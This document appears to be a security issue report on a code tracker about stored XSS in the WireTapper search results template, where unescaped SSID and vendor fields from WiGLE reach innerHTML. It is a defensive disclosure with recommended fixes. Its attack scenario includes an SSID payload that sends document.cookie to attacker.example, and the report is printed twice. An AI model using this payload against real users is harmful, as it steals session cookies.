Summary
The search results renderer in templates/wifi-search.html injects provider-supplied network identity fields directly into innerHTML via unescaped template literals. Fields including node.ssid, node.vendor, node.bssid, and node.type originate from WiGLE, OpenCellID, and Shodan API responses and are never sanitized before insertion into the DOM. An attacker who controls a wireless network SSID, or who can influence provider data, can execute arbitrary JavaScript in the browser of any WireTapper user who searches near that network.
Evidence
templates/wifi-search.html (approximately line 1762):
item.innerHTML = `
<div class="node-header">
<span class="node-name">${node.ssid || node.ip || 'Unknown'}</span>
...
<span class="node-type"...>${node.type || 'node'}</span>
</div>
<div class="node-meta">
${node.vendor ? `VENDOR: ${node.vendor}` : `ID: ${node.bssid || node.ip || 'ANONYMOUS'}`}<br>
...
</div>
`;
node.ssid, node.vendor, node.type, and node.bssid come from the /searchzz route, which proxies directly to WiGLE and OpenCellID without sanitizing or encoding provider field values before returning them to the client.
This is distinct from issue #13 (popup/sidebar setHTML sinks) and issue #16 (chat renderer innerHTML): it affects the main search results list and is triggered by passive search operations, not user-generated chat content.
Why this matters
WiFi SSIDs are set by network owners and contain arbitrary strings. WiGLE and similar databases aggregate SSIDs from wardriving submissions and have historically contained XSS payloads planted deliberately to target tools that render results unsanitized. A malicious SSID in WiGLE's database is a persistent, passively triggered XSS payload that affects every user who searches near that location.
Attack or failure scenario
An attacker registers a WiFi network with SSID <img src=x onerror="fetch('https://attacker.example/c?'+document.cookie)"> and submits it to WiGLE. When any WireTapper user searches a location near that network, the SSID is returned by the WiGLE proxy and injected into item.innerHTML. The onerror handler executes, exfiltrating the user's session cookies or performing actions on their behalf within the WireTapper origin.
Root cause
Template literal interpolation into innerHTML treats all values as trusted HTML. No output encoding or DOM-safe rendering method (e.g. textContent, createElement, DOMPurify.sanitize) is used for provider-sourced strings.
Recommended fix
- Replace
item.innerHTML = \...`with DOM construction usingcreateElementandtextContent` for all provider-sourced fields.
- Where HTML rendering is genuinely needed, sanitize with a library such as DOMPurify before assignment.
- Apply the same fix to
document.getElementById('results-list').innerHTML and all other result-rendering innerHTML writes.
- Add a Content Security Policy header that blocks inline script execution as a defence-in-depth layer.
Acceptance criteria
Suggested labels
security, bug
Priority
P0
Severity
Critical — persistent XSS via provider-controlled data injected into the main search results surface; no user interaction beyond a normal search is required.
Confidence
Confirmed — template literal construction directly visible in the committed template; SSID injection vector is documented in public WiGLE security research.
Summary
The search results renderer in
templates/wifi-search.htmlinjects provider-supplied network identity fields directly intoinnerHTMLvia unescaped template literals. Fields includingnode.ssid,node.vendor,node.bssid, andnode.typeoriginate from WiGLE, OpenCellID, and Shodan API responses and are never sanitized before insertion into the DOM. An attacker who controls a wireless network SSID, or who can influence provider data, can execute arbitrary JavaScript in the browser of any WireTapper user who searches near that network.Evidence
templates/wifi-search.html(approximately line 1762):node.ssid,node.vendor,node.type, andnode.bssidcome from the/searchzzroute, which proxies directly to WiGLE and OpenCellID without sanitizing or encoding provider field values before returning them to the client.This is distinct from issue #13 (popup/sidebar
setHTMLsinks) and issue #16 (chat rendererinnerHTML): it affects the main search results list and is triggered by passive search operations, not user-generated chat content.Why this matters
WiFi SSIDs are set by network owners and contain arbitrary strings. WiGLE and similar databases aggregate SSIDs from wardriving submissions and have historically contained XSS payloads planted deliberately to target tools that render results unsanitized. A malicious SSID in WiGLE's database is a persistent, passively triggered XSS payload that affects every user who searches near that location.
Attack or failure scenario
An attacker registers a WiFi network with SSID
<img src=x onerror="fetch('https://attacker.example/c?'+document.cookie)">and submits it to WiGLE. When any WireTapper user searches a location near that network, the SSID is returned by the WiGLE proxy and injected intoitem.innerHTML. The onerror handler executes, exfiltrating the user's session cookies or performing actions on their behalf within the WireTapper origin.Root cause
Template literal interpolation into
innerHTMLtreats all values as trusted HTML. No output encoding or DOM-safe rendering method (e.g.textContent,createElement,DOMPurify.sanitize) is used for provider-sourced strings.Recommended fix
item.innerHTML = \...`with DOM construction usingcreateElementandtextContent` for all provider-sourced fields.document.getElementById('results-list').innerHTMLand all other result-rendering innerHTML writes.Acceptance criteria
innerHTMLwithout prior sanitization.Suggested labels
security, bug
Priority
P0
Severity
Critical — persistent XSS via provider-controlled data injected into the main search results surface; no user interaction beyond a normal search is required.
Confidence
Confirmed — template literal construction directly visible in the committed template; SSID injection vector is documented in public WiGLE security research.